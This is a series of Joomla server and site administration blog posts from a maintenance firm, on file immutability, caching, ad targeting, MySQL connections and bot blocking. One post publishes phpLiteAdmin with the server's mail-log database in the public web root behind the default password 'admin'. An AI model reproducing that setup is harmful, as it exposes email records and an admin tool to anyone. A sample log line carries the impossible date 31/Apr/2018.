Protecting Joomla’s Files and Directories from Accidents

A few days ago, a managed client of ours called us and told us that their website stopped working, and that that event coincided when an employee was trying to upload a file to the images folder using FileZilla.

We immediately knew what the issue was, as it happened to another client of ours a couple of years ago: a staff member uploading a file to the images folder accidentally moved the components folder to the inside of the images folder. A quick investigation revealed that this was exactly what happened this time, with the exception that it was the includes folder that was moved to the images folder. Fixing the problem simply consisted of moving the includes folder back to its original location (directly under the public_html folder).

Needless to say, this whole issue made us feel unsafe, so we needed to find a solution to the problem!

Using FTP instead of SFTP was outside the question for security reasons, and, even if we headed that way, we would still run into some risks of moving directories inside each other.

After some very long research, we discovered that the following shell command…

chattr +i dir1

…makes the directory dir1 immutable. Meaning that it cannot be moved or altered in any way.

So, we issued, as root, the following shell commands when inside the public_html directory:

chattr +i administrator/components administrator/help administrator/includes administrator/language administrator/manifests administrator/modules administrator/templates administrator/.htaccess administrator/index.php
chattr +i bin cli components includes language layouts libraries modules plugins templates .htaccess configuration.php defines.php index.php

After doing the above, we tested if we were able to move any of the above folders to a different location from within FileZilla (by dragging and dropping), and it didn’t work. Hooray! We solved the problem.

But, what happened to the cache, media, and tmp folders?

Joomla needs to have write access to the cache, administrator/cache, media, and tmp folders for its basic operation, and that’s why we excluded them from the shell commands above, as an immutable file/folder cannot be written to.

What if someone wants to install an extension?

Installing an extension won’t work with the immutable flag set. So, if you need to install an extension, you will need to first remove the immutable flag from the above folders by issuing the following shell commands (again, you must do that root, as root is the only user that can set/unset the immutable flag):

chattr -i administrator/components administrator/help administrator/includes administrator/language administrator/manifests administrator/modules administrator/templates administrator/.htaccess administrator/index.php
chattr -i bin cli components includes language layouts libraries modules plugins templates .htaccess configuration.php defines.php index.php

How do you know if a file/folder has the immutable flag set?

The lsattr shell command does the trick. So, if you want to know which extended flags are set on a specific file/folder, all you need to do is to issue the following command:

lsattr file-or-folder

For example, to know which extended flags are set on the index.php file, you issue the following shell command (you don’t have to be root to use the lsattr command):

lsattr index.php

Won’t making the folders/files immutable enhance security?

Definitely! As you can see in the first set of shell commands in this post, we are making the index.php immutable, which prevents alteration to this file by anyone. In fact, the only way to modify this file would be to login as root and then unset the i flag.

We hope that you found this post useful. If you need any help with the implementation, then all you need to do is to contact us. We’ll do the above for you in a breeze and we won’t charge you an arm and a leg for it.

A Custom Module Is Always Better than a Joomla Plugin

When a Joomla developer is asked to add some JavaScript tracking code to a Joomla website, he typically codes a content plugin in order to achieve this result. This, of course, works. But, it’s a very inefficient way of doing things. Why? Because this can be done easily with a custom HTML module and a layout override. Here’s how:

  • Open the index.php file under the templates/[your-joomla-template] folder.
  • Just before the closing body tag (e.g. just before </body>) add the following code:

    <jdoc:include type="modules" name="code-bottom" style="raw" />

    With the above line, we have added a new position to the template where we can add our JavaScript code.

  • Create a nodiv layout override for the Custom (previously called Custom HTML) module. You can find the full details on how to do so here.

  • Create a new Custom module, and assign it to the code-bottom position.

  • Add your JavaScript to the module that you’ve just created, and then click on the Advanced tab, and finally choose nodiv from the Layout dropdown.

  • Save the module and clear your Joomla cache.

  • That’s it! Now you will have your tracking code on all pages (you can even easily choose which pages to exclude/include since you are using a module).

But what if the JavaScript code is slightly dynamic?

Well, in this case, you can create a specific module override (instead of the nodiv module override) and then add your logic there.

So, are there real advantages over creating a plugin?

Definitely! First, the more plugins you have installed and activated on your Joomla website, the slower it is. Second, we’re leveraging an existing extension to do what we want (reusability), and third, once the module position and the layout override are in place, a Joomla administrator with no coding experience will be able to add any tracking code to the website.

We hope that you found our short post useful. If you need help with the implementation, then you can always contact us. We are always ready to help, we love working with new clients (and, of course, existing clients), and our rates are very affordable.

Your PHP Changes Are Not Showing on Your Joomla Website? Maybe It’s OPCache

Earlier today, we ran into a very weird issue… We were making some changes to a cron PHP file (under the cli folder), but our changes were not taking effect. This was very odd because we were sure that no caching was enabled anywhere on the server, at least so we thought.

What was odd is that if we renamed the file, to something like cron-file-1.php instead of cron-file.php, our changes were taking effect, but only once. So, if we made additional changes, we had to rename the file to cron-file-2.php, cron-file-3.php, cron-file-4.php, and so forth…

A few hours of investigation revealed that the cause of the problem was (unsurprisingly) PHP’s built-in caching system, OPCache, which, to put it simply, translates normal PHP code into machine code and stores it into the server’s memory in order to eliminate the compilation phase each time a PHP file is requested by the web server, which will lead to some performance gain.

So, in short, we just needed to disable OPCache, at least for that particular folder, in order to get our code to refresh.

So, how did we disable OPCache?

We just created a .user.ini file and placed it in the cli folder, and then added the following code to it…

opcache.enable=0

…and that did the trick! The second we created the .user.ini file, the problem was solved. Our PHP changes were taking effect instantly, and we were very exalted!

But isn’t a good idea to leave OPCache enabled?

While we don’t think highly of the advantage that OPCache brings to the performance of a web application, we still believe that any improvement is a good improvement, so it’s a good idea to turn it back on (by removing the above line from the .user.ini file) once you’re done with it. Some claim that the improvement in response time can be as high as 70%, but we cannot confirm this.

So, the next time you make a change to a PHP file, and you don’t see your change taking effect immediately, try disabling OPCache by just adding the above line. If it doesn’t work, or if you need help with the implementation, then please contact us. Our fees are affordable, our work is quick, and we are the Joomla experts!

How to Implement DFP Ad Targeting on Joomla Sites

Lately, we have been working increasingly on marketing (from a very technical perspective), specifically on ad targeting. Essentially, our clients are being pressured by their own clients to target visitors with matching ads. For example, if someone is a big reader of car articles on a news website, then he will be targeted with car ads (instead of just throwing random ads at the person and hoping he’ll be interested in one of them).

Google Adsense does this automatically. DFP (DoubleClick for Publishers), however, needs to be told how to target ads, which is typically done using key-value targeting.

So, what is DFP’s key-value targeting?

In short, key-value targeting in DFP consists of some variables and their values passed from the application (in our case the Joomla website) to the ad server, which searches the inventory for a matching line item, eventually prioritizing (and displaying) the ad belonging to the line item. Yes, we know that it looks like gibberish at first glance, but let us explain by giving you an example…

Let’s say you have a news website, and a client representing a car company who wants to advertise on your website. The client wants you to target people who read a lot of articles about new cars with their ads. So, what do you do? First, you login to your DFP account, and then you do the following:

  • Click on Inventory on the left panel, and then click on the Key-values link.
  • Click on the “New Key” button, and then fill in the name of the field, such as “CarTarget”, and the possible values, such as “Y” and “N”.

  • Go to the line item of the ad (we are assuming that you have already created the ad unit, the line items, and the creatives), and then click on Settings.

  • Scroll down to the bottom of the page, and then click on the Key-values link (under the Add Targeting section).

  • In the Select a key input box, choose the CarTarget variable that you have just created, and then, in the box just below it, enter “Y” (this means that this line item will only display when CarTarget is set to “Y”).

  • That’s it!

Of course, now you will need to pass the CarTarget variable to DFP from the Joomla website (or any web application) using DFP tags. Here’s how we do this:

  • We first create a database table called dfp_targeting that has 3 fields: userhash, keyvalue, and counter (you will later understand what each of these fields is).
  • For every visit, we check the cookies for a cookie called userhash, if it exists, we increase the counter of the value of the userhash in the dfp_targeting table by 1 where the category field matches the current category being viewed by the user. If such a row doesn’t exist in the table, then we create it, and we set the initial counter to 1.

    If the userhash cookie doesn’t exist, then we create the cookie and we set its value to a 64 character hash, and, on the next visit, we store that cookie in the database (along with the category field and the counter field, which are set to the current category being viewed by the user, and the number 1, respectively).

  • Once a user visits the website with, say 50 as the counter for the “Car” category, we set the CarTarget DFP key to Y and we push this information to DFP using the following JavaScript code:

    googletag.pubads().setTargeting('CarTarget', 'Y');

    Note: We implement all the server/client side code in the article layout override of the Joomla website (e.g. the file templates/[template-name]/html/com_content/article/default.php).

  • That’s it!

Once the above is done, the Joomla website will start displaying targeted ads to regular readers of the Car category.

We hope that you found this article fun and informative. If you need help with implementing DFP ad targeting on your Joomla website, then please contact us. Our fees are super cheap, our coding is super clean, and we are super fun to work with!

5 Disadvantages of Using a Custom Made CMS Rather than Joomla

One of our non-regular Joomla clients revealed to us their wish to build their own CMS. They told us that the number one reason why they’re doing this is because maintaining a large Joomla website is very costly. They also cited other reasons, including having to go through the trouble of updating their site every time there is a new Joomla release, the absence of some functionalities (extensions) that they need, the generic Joomla core that is not optimized by default for their website, and the fact that their website is constantly under attack because, well, it’s a Joomla website.

What was surprising to them is that we agreed with everything they said: yes, maintaining a large Joomla website is costly, and yes, updating it is not fun, and yes, Joomla is a generic open source product that must be customized to accommodate a serious website. But again, these issues are inherent to any open source mainstream CMS, including Drupal and WordPress. Naturally, the client told us that since they’re moving to a custom made CMS, they won’t have any of these issues, right? Well, as they say, the grass is always greener on the other side of the fence…

You see, creating a custom made CMS is no fun job, and, to this date, we have yet to witness a case where the client converted to a custom made CMS and not regretted their decision later on (that is, of course, if the custom made CMS reaches the deployment phase, as many of these custom made CMS projects end up being killed after a couple of years because they were only supposed to take 4 months), and this is mainly because of the five following reasons:

  1. Being at the mercy of developers: A common problem that most companies do not foresee is that when they switch to a custom made CMS they will instantly become at the mercy of their developers. What if their developers suddenly leave during the project? What if the code is so (unnecessarily) complex that other developers would not be able to decipher it? What if they use obsolete libraries or products? This is by far the most crucial problem to consider if you want to switch to a custom made CMS.
  2. The myth of perfect security: Joomla has always been criticized for its security, but this is mostly bad reputation that is lingering from almost a decade ago. Joomla’s security at the moment (we’re in June 2018) is top notch. The same cannot be said about custom made CMS’s, which are always thought to have perfect security, but this is just an illusion. In reality, the security on any custom made software is extremely feeble, but, since it is not open source, its potential exploits are only known to a limited number of people (including the original and the current developers, which make these developers even more dangerous). We have seen the code of quite a few closed source CMS products, and we are confident when we say that their security is worse than that of the worst CMS on the market.

  3. The inability to catch up with technology: In most cases, by the time a custom made CMS is finished, the technology it was built on becomes already obsolete, which is not a huge problem. But, the fact that this obsolete technology will not change for many years to come exposes the CMS to many issues, such as sticking with a very old (and exploitable) environment just for the sake of keeping everything working.

  4. The very expensive development work: All transactions in this world are subject to supply and demand. If gold, for example, was in huge supply, then it would’ve been very cheap, but it is not, and so are the developers who can work on custom made CMS (we’re not saying that such developers are like gold, which is often not the case, we’re just saying that they’re rare). A very simple task, such as changing a font in the template, can take a couple of weeks and can end up costing the client tens of thousands of dollars. Imagine what would the cost be for introducing a new feature on a custom made CMS.

  5. Bugs, more bugs, and a very unfriendly GUI: Ever worked on or seen a closed source CMS? Then you may already know that the 3 prominent characteristics in such a product are bugs, more bugs, and an extremely unfriendly GUI (Graphical User Interface). The thing is, unlike mainstream CMS’s, custom made CMS’s do not get tested by thousands (if not millions) of people, and that’s why they end up really, really buggy and with a horrible GUI, resulting in a very bad experience, and ultimately causing decent staff to quit.

We hope that you found our post helpful and convincing. If you still want to dump Joomla and have a custom made CMS developed for your business, then why not contact us before to discuss your case? We are eager to help you make the right decision. Please note that our super affordable fees apply!

The Apple Touch Icon Files and Joomla Performance

If you want to see something interesting, then do the following:

  • ssh to the server hosting your Joomla website.
  • Change to the domlogs folder.

  • Run the following grep on the main log file of your domain:

    grep 'MobileSafari' yourjoomlawebsitelogfile.txt > mobilesafari-log.txt

After doing the last step, you should have a mobilesafari-log.txt file in your current directory. Open it for editing and you will see something like the following:

[user-ip] - - [31/Apr/2018:10:16:46 -0400] "GET /apple-touch-icon-120x120-precomposed.png HTTP/1.1" 404 20 "-" "MobileSafari/602.1 CFNetwork/808.3 Darwin/16.3.0"
[user-ip] - - [31/Apr/2018:10:16:46 -0400] "GET /apple-touch-icon-120x120.png HTTP/1.1" 404 20 "-" "MobileSafari/602.1 CFNetwork/808.3 Darwin/16.3.0"
[user-ip] - - [31/Apr/2018:10:16:46 -0400] "GET /apple-touch-icon.png HTTP/1.1" 200 4581 "-" "MobileSafari/602.1 CFNetwork/808.3 Darwin/16.3.0"

Of course, the first question that would probably hit your mind is “what is that?” Well, that is what happens when a mobile Apple device accesses your website. It first sends a request with a weird user agent (MobileSafari) to check for “touch icons” – these “touch icons” are later used by the browser to create a shortcut of your website (users can then touch the shortcut to load your website). As you may have guessed, the image of the shortcut is the apple-touch-icon*.png image (the Apple device will choose one of the 3 images and will display it as a shortcut button). This is all fine and dandy, but there is one problem: your website doesn’t have any of these apple-touch-icon* buttons, so, this Apple “feature” ends up slowing down your Joomla website because of the resulting 404s – this is especially the case on high traffic Joomla sites. To give you an example, a high traffic Joomla website that we manage gets about 60K 404s/month just because of the Apple touch icons.

So, what can be done about this?

There are 4 things that you can do to address this issue:

  1. Redirect, at the global .htaccess level, any traffic with MobileSafari as its user agent to a png file of your choice (or to a simple HTML page). Note that the option to redirect to a specific png file is a bit tricky, since some Apple devices require different image sizes (e.g. 152×152 instead of 120×120). Also note that it is important that you don’t block the request (or the user agent), as blocking access to those images through an .htaccess rule may result in having the device’s IP automatically blocked!
  2. Create a condition in your defines.php to handle this situation. You can just display a simple 404 message (such as die(“Not Found”);) when MobileSafari is the user agent in order to prevent Joomla from continuing to process the request.

  3. Create the PNG images that Apple mobile devices want. In short, you will need to create the following images and place them in the root directory of your Joomla website (quick rant: it is just rude of Apple to expect those proprietary images to exist at the root level of the website by default):

    apple-touch-icon-120×120-precomposed.png
    apple-touch-icon-120×120.png
    apple-touch-icon-152×152-precomposed.png
    apple-touch-icon-152×152.png
    apple-touch-icon.png

  4. Do nothing. Yes – do nothing. This should be the case when your website has little traffic and you have an abundance of free resources on your server.

We hope that you found this short post useful and informative. Keep in mind that at itoctopus, we don’t offer design services (so we can’t create those Apple buttons for you), but what we can do is help you redirect traffic from the MobileSafari user agent in order to reduce pressure on your server. If you want us to do that for you, then just contact us. Please note that our super affordable fees apply.

How We Solved a Major Problem with the “System – Page Cache” Joomla Plugin

One of the most annoying problems with the System – Page Cache plugin is the fact that when you update an article, then that update won’t reflect on the website immediately, as the cached page would still be served to the visitors and won’t be refreshed until it “expires”. In fact, the absolute majority of Joomla news websites completely avoid the “System – Page Cache” core plugin just because of this issue, and instead use a 3rd party extension to fulfill their caching needs, which is a far-from-ideal solution, as 3rd party caching extensions have their own “quirks”.

So, what is the ideal solution?

The ideal solution is, of course, to have the System – Page Cache plugin refresh all the affected pages when an article is updated. An almost ideal solution is to develop a plugin that will refresh the affected pages when an article is updated, and this is exactly what we did at itoctopus!

We developed a system plugin that cleaned the following pages when an article was updated:

  • The article’s page
  • The print version of the article’s page
  • The article’s category page
  • The article’s category RSS page
  • The homepage
  • The main RSS feed page

In essence, we did the above when the onContentAfterSave and the onContentChangeState events were triggered, and when the $context was “com_content.article”. We cleaned all the cache entries when $context was not “com_content.article”. We also cleaned all the cache entries when the onExtensionAfterSave event was triggered (so, for example, when a module, any module, is saved, then the whole cache is wiped out).

We deployed the plugin on a major website and the whole thing worked like a breeze: the server’s load decreased substantially (at this very moment, the 15 minute load is 0.84, which is really hard to beat on a website receiving a 100,000 page loads every day). Not only that, the staff was much happier, everything responded quicker than before, and their changes were reflected instantly (so they got the best of both worlds).

We were happy because the client was happy and because of the major performance gain on the server, but we were also concerned. Our heavy and low level work with the Joomla caching mechanism revealed that the latter needs a substantial overhaul as it doesn’t seem to have been planned well. For example, it is very easy to generate and delete a cached version of a page when you are actually on that page, but it is very hard to do anything with the cached version of a page if you are not on that page (especially if you are trying to do it from the backend).

We hope that you found this post, and our concept for efficiently refreshing the cache, useful. If you have any questions, or if you need us to implement the above on your Joomla website, then please contact us. Our fees are right, our work is clean, and we are experts in Joomla performance.

Using the Eximstats Database to Monitor the Health of Your Joomla Site

Note: The following post assumes that your Joomla website is powered by a WHM/cPanel server and that the Eximstats service is enabled (you can enable the Eximstats service from WHM’s Service Manager).

At itoctopus, we go at great lengths to monitor the security of our managed Joomla websites, to the point where we check the Eximstats database for anything suspicious. The Eximstats database, in case you’re wondering, is a SQLite database containing a record of every email sent from the server (this is the case for almost all WHM/cPanel powered servers, where Exim is the default mail server).

But how can the stats of an email server signal anything suspicious on the Joomla website?

Well, if your Joomla website usually sends about a 1,000 emails every month, and the Eximstats database contains about 100K entries for that particular month, then this a huge signal that your website is compromised.

So how do you go by analyzing the EximStats database?

As mentioned at the very beginning of this post, the EximStats database uses the SQLite database engine, which is fairly similar to MySQL, but with one major difference: a SQLite database is just one file, unlike a MySQL database which is spread across many files. This makes the whole process of analyzing the database fairly simple. All you need to do is the following:

  • Install phpLiteAdmin onto the server (phpLiteAdmin is the phpMyAdmin equivalent for SQLite). This can be done by issuing the following shell commands on the server:

    cd /home/[cpanel-user]/public_html
    mkdir phpliteadmin
    cd phpliteadmin
    wget https://bitbucket.org/phpliteadmin/public/downloads/phpLiteAdmin_v1-9-7-1.zip
    unzip phpLiteAdmin_v1-9-7-1.zip

  • Copy the Eximstats database to the newly created phpliteadmin folder:

    cp /var/cpanel/eximstats_db.sqlite3 /home/[cpanel-user]/public_html/phpliteadmin/

    Note: by default, the Eximstats database retains data for one month.

  • Point the phpLiteAdmin application to use the Eximstats database that was just copied:

    cd /home/[cpanel-user]/public_html/phpliteadmin
    mv phpliteadmin.config.sample.php phpliteadmin.config.php

    After doing the above, open the file phpliteadmin.config.php and then change the following code:

    $databases = array(
            array(
                    'path'=> 'database1.sqlite',
                    'name'=> 'Database 1'
            ),
            array(
                    'path'=> 'database2.sqlite',
                    'name'=> 'Database 2'
            ),
    );

    to:

    $databases = array(
            array(
                    'path'=> 'eximstats_db.sqlite3',
                    'name'=> 'Database 1'
            ),
    );

  • Launch the phpLiteAdmin application by pointing your browser to https://www.[yourjoomlawebsite].com/phpliteadmin.

  • Login with the password “admin” (without the quotes).

  • Check the sends table for an abnormal volume of sent emails (abnormal, in this context, is fairly subjective).

If you find anything out of the ordinary in the EximStats database (e.g. a huge number of sent emails), then your Joomla website is likely hacked. Try our super quick shell commands to find the hacked files on your Joomla website. If you can’t find anything, then it would be a good idea to contact us. We are experts in Joomla security, we will clean your website, and you won’t have to sell your business to cover our fees!

How to Display an “Edit Article” Link on the Joomla Frontend when Logged in to the Backend

On any news site, one of the most convenient things for editors is to have an “Edit Article” link on the article page. Such a link will save a lot of time for the editors since without it they will need to go to the backend, search for the article (which will put pressure on the database server if there are many articles on the site), and then click on the article in order to edit it.

Joomla does have frontend editing, but the user must be logged in to the frontend (and not to the backend) to be able to edit articles directly from the frontend, and serious news sites don’t allow frontend logins. So, how can one overcome this limitation?

A straightforward approach would be to add an “Edit Article” link to every single article page, for everyone. That can be done by adding the following code to the article override page in the template (e.g. in the default.php file under the templates/[template-name]/html/com_content/article folder):

<a href='<?php echo(JURI::root()); ?>administrator/index.php?option=com_content&task=article.edit&id=<?php echo($this->article->id); ?>' target='_blank'>Edit Article</a>

The above code will display an “Edit Article” link (in the location where it’s placed) that will direct a backend logged-in-user to the actual edit screen of the article, which is excellent, but is not ideal. The thing is, the “Edit Article” link will be displayed for everyone, and not just the editors, and this is where it gets increasingly tricky…

A casual Joomla developer would probably say: just get the user by using JFactory::getUser(), check if the uses can edit articles, and then display the link. The problem with this approach is that the JFactory::getUser() method will return an empty object on the frontend if the user is logged in from the backend. Try it yourself!

So, how can this problem be solved?

The easiest solution to this problem is to set a site-wide cookie when the onUserLogin event is triggered, and this is done by creating a plugin and then adding the following code to the onUserLogin method of that plugin:

setcookie('edit_article_efpke4uax2fmp789', '1', 0, '/');

So, when someone logs in to the backend of the website, the value of the edit_article_efpke4uax2fmp789 will be set to 1. This will allow us to check for that cookie on the frontend (e.g. in the article layout page) and display the “Edit Link” if that cookie is present and set to 1.

Are there any caveats?

Yes – a few. First, we will have issues with the above approach if Joomla’s native System – Cache plugin is used, as the “Edit Article” link may also appear for site visitors (non-editors). Granted, they will not be able to do anything with that link (it will just redirect them to the login page), but it’s just not professional. This situation will happen when editors check the article page before the visitors, but, if the reverse happens, then the editors just won’t see the link. The solution to this problem consists of using a modified System – Cache plugin that will take into consideration the “Edit Article” link.

Another problem is that the “Edit Article” link will appear for the editors even when they’re logged out, and this is because we are not unsetting the cookie on user logout. Now, while this can be done with the onUserLogout event, it is not enough, because, in the absolute majority of cases, editors do not click on the “Logout” button, but are rather logged out automatically by the system when their sessions expire.

Also, the “Edit Article” link does not take into consideration the fact that the article might be locked (“checked out” in Joomla’s terms) by another editor. However, this is easily remedied with a simple check prior to displaying the link.

We hope that you found our post useful and informative. If you need help with implementing the “Edit Article” link on the frontend of your Joomla website, then please contact us. Our fees are affordable, our work is quick, and our quality is top notch.

Why Switching Your MySQL Host to 127.0.0.1 May Break Your Joomla Website

Many Joomla administrators think that 127.0.0.1 is equivalent to localhost when it comes to MySQL connections, and they think that they can change the value of $host in their configuration.php file from localhost to 127.0.0.1 and the website will still work as it should. In reality, if they’re using cPanel, then the website will go down, and, in almost all the remaining cases, the website will slow down. Let us explain…

When you create a user in cPanel, such as myuser, cPanel automatically assigns that user to 3 hosts:

  • localhost
  • Server HostName (such as “host.itoctopus.com”)
  • Server IP (such as “173.199.145.150”)

This means that the user will be able to connect to the database only when one of the above is set as the host in the configuration.php file. If you’re the skeptical type and want proof, then try the following:

  • ssh to the WHM server as root.
  • Type in mysql.

  • Type in the following query:

    SELECT User, Host FROM mysql.user;

Once you do the above, you will see a list of all the MySQL users, along with their “Host”, on your database server, and you will notice that each user is added 3 times, once for every host. You will also notice that (with one exception, where “root” is the user) 127.0.0.1 doesn’t exist anywhere in the resultset of the query, which means that you can’t use 127.0.0.1 as your host and expect it to work.

Of course, the above mainly applies to a cPanel/WHM environment. If you’re using a more manual environment, or if you’re using root to connect to the database (which is never a good idea), then you may be able to use 127.0.0.1 as the host. However, the problem with doing that (in the absolute majority of cases), is that any communication with the database server will be through a TCP/IP connection, instead of a local socket. This incurs unnecessary networking overhead which will slow down your Joomla website.

We hope that you found this short post useful. If you are having problems with your Joomla website connecting to your database server, then please contact us. We are very quick to help, our work is ultra clean, and our fees are always competitive!

How to Use MySQL Persistent Connections on Joomla Sites

A somehow controversial subject in the database world is MySQL persistent connections: Some claim they have a performance benefit, others claim they’re bad and they can cause some memory issues on the server. At itoctopus, we have decided to put an end to the controversy by running experiments on a large Joomla website in order to prove either theory.

By default, Joomla sites use non-persistent connections to connect to the MySQL database. A non-persistent MySQL is automatically destroyed by PHP when the script is finished (that’s why there is no reason to explicitly close it). A persistent MySQL connection, on the other hand, is not destroyed at script end and is reused. This should mean that persistent MySQL connections should provide a performance boost to the Joomla website, as they eliminate the overhead of creating a new connection on each page execution (and destroying it when the page has finished loading). Right? Maybe, but let us first explain how to use MySQL persistent connections on a Joomla site before giving a definitive answer to the question.

How to Use MySQL Persistent Connections on a Joomla Site

In theory, switching from a non-persistent to a persistent MySQL connection is simple, all that one needs to do is to prefix the value of the host with a “p:” (without the quotes). So, on a standard Joomla website (where the database server co-exists with the web server), the host should be something like “p:localhost” instead of “localhost”.

However, things are always not that simple, as we saw the following error when we changed the value of $host in the main configuration.php file from “localhost” to “p:localhost”:

0 – Could not connect to MySQL.

This is because the function connect() which is located in the mysqli.php file (which, in turn, is located under the libraries/joomla/database/driver folder) essentially removes all the characters that are deemed “unnecessary” from the host, including the colon (“:”) through regular expressions. In fact, the colon is only useful when you want to explicitly specify the port that the MySQL database server listens to. So, if MySQL listens on the 7777 port, for example, then your host should be “localhost:7777”. Providing something like “p:localhost” will mean that the host is “p”, and the port is “localhost” (which, of course, is wrong).

We tried our best to “trick” the regular expressions into accepting our “p:localhost” host, but we failed. We then tried to override the mysqli_connect function, but we couldn’t, because overriding it meant using the override_function, which belongs to an obsolete PECL library that is no longer maintained (and possibly insecure). Overriding it using namespaces also wasn’t possible, since the Joomla application doesn’t have a global namespace that all the PHP files belong to.

So, the only viable method that we found to have a persistent database connection was to modify the core by changing the following line in the connect() function (which is located in the aforementioned mysqli.php file):

$this->connection = @mysqli_connect(
	$this->options['host'], $this->options['user'], $this->options['password'], null, $this->options['port'], $this->options['socket']
);

to:

$this->connection = @mysqli_connect(
	'p:localhost', $this->options['user'], $this->options['password'], null, $this->options['port'], $this->options['socket']
);

As you can see in the above, we hardcoded the host in the mysqli_connect function. We then loaded the website, and this time it worked!

So, does a persistent connection offer any performance advantage on Joomla sites?

Well, we tested the performance of a huge Joomla website (after switching its connection to persistent) on a staging server, and the numbers were more or less the same when using non-persistent connections. So, in short, and from our tests, persistent connections do not offer any performance advantage over non-persistent connections. So, there is no point in modifying the Joomla core to switch to a persistent connection.

We hope that you found this post useful. If you have any questions about it, or if you need help with optimizing your Joomla website, then please contact us. Our fees are affordable, our quality is top notch, and our fees are super affordable!

On Closing MySQL Connections on Joomla Sites

If you’re an avid reader of our blog, then you may already know that we have a passion for optimizing Joomla sites. A passion so strong, that we spend the absolute majority of our spare time researching new optimization techniques. More often than not, our research yields interesting results.

For example, about a week ago, we were studying the queries generated by an already optimized Joomla website to see how we can further optimize the website. We were doing that with the help of MySQL’s general_log server system variable (in the my.cnf file, which is located under the /etc folder), which, when set to “on”, will log all the generated queries to the file defined in the general_log_file server system variable. We did that on a dev server by adding the following lines to the beginning of the my.cnf file:

general_log = on
general_log_file=/var/lib/mysql/all-queries.log

The above lines logged every query issued on the MySQL server to the all-queries.log file. After doing the above, we loaded the website, and all the queries issued by the website were logged to the aforementioned file. After a few tests, we noticed something interesting… At the end of each page load, we saw the following line:

74008 Statistics

We did a little research and we discovered that the above line is generated by the stat() function on the mysqli static class. A quick search into the Joomla code revealed the location of the stat() method call. It was in the disconnnect method which is located in the mysqli.php file which, in turn, is located under the libraries/joomla/database/driver folder. It was in the following line:

if ($this->connection instanceof mysqli && $this->connection->stat() !== false)

Obviously, it was the $this->connection->stat() code in the above line that caused that Statistics line to appear in the general log.

Of course, you have 2 questions right now: What does the stat() method do and why should anyone care about the Statistics line?

To answer the first question, the stat() method on the mysqli static class is equivalent to the mysqli_stat function (which takes the connection link as parameters), which returns the output from the following shell command:

mysqladmin status

The output of the above command is something like the following:

Uptime: 2208760 Threads: 1 Questions: 157907223 Slow queries: 557 Opens: 251845 Flush tables: 1 Open tables: 1024 Queries per second avg: 71.491

In short, the output consists of the uptime (in seconds), the number of threads, the number of commands issued on the server (including queries), the number of slow queries, the number of tables that have been opened, the number of flushed tables, the number of tables currently open, and finally the average number of queries per second. All of that is unnecessary information – not only that, even closing the connection is also unnecessary, because Joomla does not use persistent connections. So, in short, the whole disconnect function is pure overhead, and, on large Joomla sites, it is wise to get rid of that overhead by simply adding the following line to very beginning of the disconnect function:

return;

So why should anyone care about the “Statistics” line?

Well, on small sites, nobody should really care. But, on large sites it is just (as mentioned above) an unnecessary overhead, and the website is better off without it (and without the overhead of closing the connection).

Is not closing the connections a good thing?

No, it is not. But, although we are no longer explicitly closing the connection, we’re not leaving it open either. Why? Because, by default, the connection is closed in Joomla by the function destruct which is located in the driver.php file (under the libraries/joomla/database), and the destruct function is called (once) when the script has finished execution. However, PHP automatically closes the MySQL connection when the script has ended, and thus, there is no need for Joomla to explicitly close the connection.

We hope that you found this post useful. If you want help optimizing the large Joomla website of your business, then please contact us. We are always eager and happy to help, our fees are super affordable, and our work is super clean.

A Simple .htaccess Rule to Punish Bad Bots Hitting Your Joomla Site

We manage quite a few large Joomla sites, and all of these sites get their fair share of bad traffic caused by bad bots. What most system administrators do is that they block these bad bots with an .htaccess rule. At itoctopus, we go the extra mile and we punish those bots.

How do we do that? Well, with an .htaccess rule of course:

RewriteCond %{HTTP_USER_AGENT} ^.*(BadBot1|BadBot2|BadBot3|BadBot4|BadBot5).*$ [NC]
RewriteRule ^/?.*$ "http\:\/\/127\.0\.0\.1" [R,L]

So how does the above rule punish the bad bots?

The above rule checks if the user agent is BadBot1 or BadBot2 or BadBot3 or BadBot4 or BadBot5, and if it is, then it redirects the traffic to 127.0.0.1, which is the IP of the machine the request came from. This means that any attempt to index the website by the bad bot, will end up redirecting the bad bot to the web server on its own machine. This will confuse the bot (not to mention increase the load on the originating server) and will typically require intervention by the system administrator of the bad bot, who will manually blacklist the website from being indexed. A simple, funny, and yet very powerful rule! Don’t you agree?

So, how do you know which bad bots are visiting your Joomla website?

Before answering the question, it is important to explain that the term “bad bot” is subjective. What might be a bad bot for one website might be a good bot for another website. For example, for most of our US clients, we block the “Baidu” and the “Yandex” bots which are the bots of the top Chinese and the top Russian search engines, respectively. We know for sure that sites located in China, for example, would never ever think of blocking Baidu (this would technically mean killing their sites). So, again, the term “bad bot” is subjective.

Now that we have determined that the term “bad bot” is subjective, it is clearly up to you to decide which bots you want to block. But, in order to do that, you will need first a list of the top user agents visiting your website, which you can get using the following shell command (for an explanation about this command, check this post):

awk -F\" '{print $6}' /usr/local/apache/domlogs/yourjoomlawebsite.com | sort | uniq -c | sort -k1nr | awk '!($1="")' | sed -n 1,500p > user-agents.txt

The above command generates a list of the top 500 user agent strings visiting your Joomla website and stores them in the user-agents.txt file. Once you have that file (note that it might take a few minutes for the file to be generated), you can filter out the bots (unfortunately, there is no solid script to filter out the bots, so that must be done manually) and then you can decide which bots you need to block.

Note that if your website uses HTTPS instead of HTTP, then you should use the below command instead (it’s the same as the above, but with the exception that the domain has -ssl_log appended to its end):

awk -F\" '{print $6}' /usr/local/apache/domlogs/yourjoomlawebsite.com-ssl_log | sort | uniq -c | sort -k1nr | awk '!($1="")' | sed -n 1,500p > user-agents.txt

The above 2 commands apply to a WHM based environment. If you use Plesk or Webmin (or something else), then a good idea would be to check with your host for the location of your domain logs. Of course, you can always contact us for help and we’ll take care of those bad bots for you quickly, professionally, and affordably!

Joomla Article Remains Locked After Saving and Closing It

One of the (almost unique) features that Joomla has is “locking” articles. So, when someone is editing an article, that article is locked to prevent others from editing it. The lock is released when the article is “closed” by clicking on the Save & Close button, the Save as Copy button, or the Close button.

However, there is one case where the lock is not released when the article is closed, and it is when the server powering the Joomla website has some aggressive caching enabled. In fact, we are getting clients having this problem at least twice a month for a year now: they open an article, they edit it, they click on Save & Close, and then they see that the article is locked on the Article Manager page. The common denominator between clients having this problem is a cheap host.

So, how do we solve this “locking” problem?

In some cases, the problem is solved by simply disabling browser caching on the backend. In some other cases, the host sends us a few lines to add to the .htaccess file in order to disable their aggressive caching engine. In some rare cases, the host refuses to allow us to disable caching and we are forced to move the client to another (more professional) host.

Is the problem always a server problem?

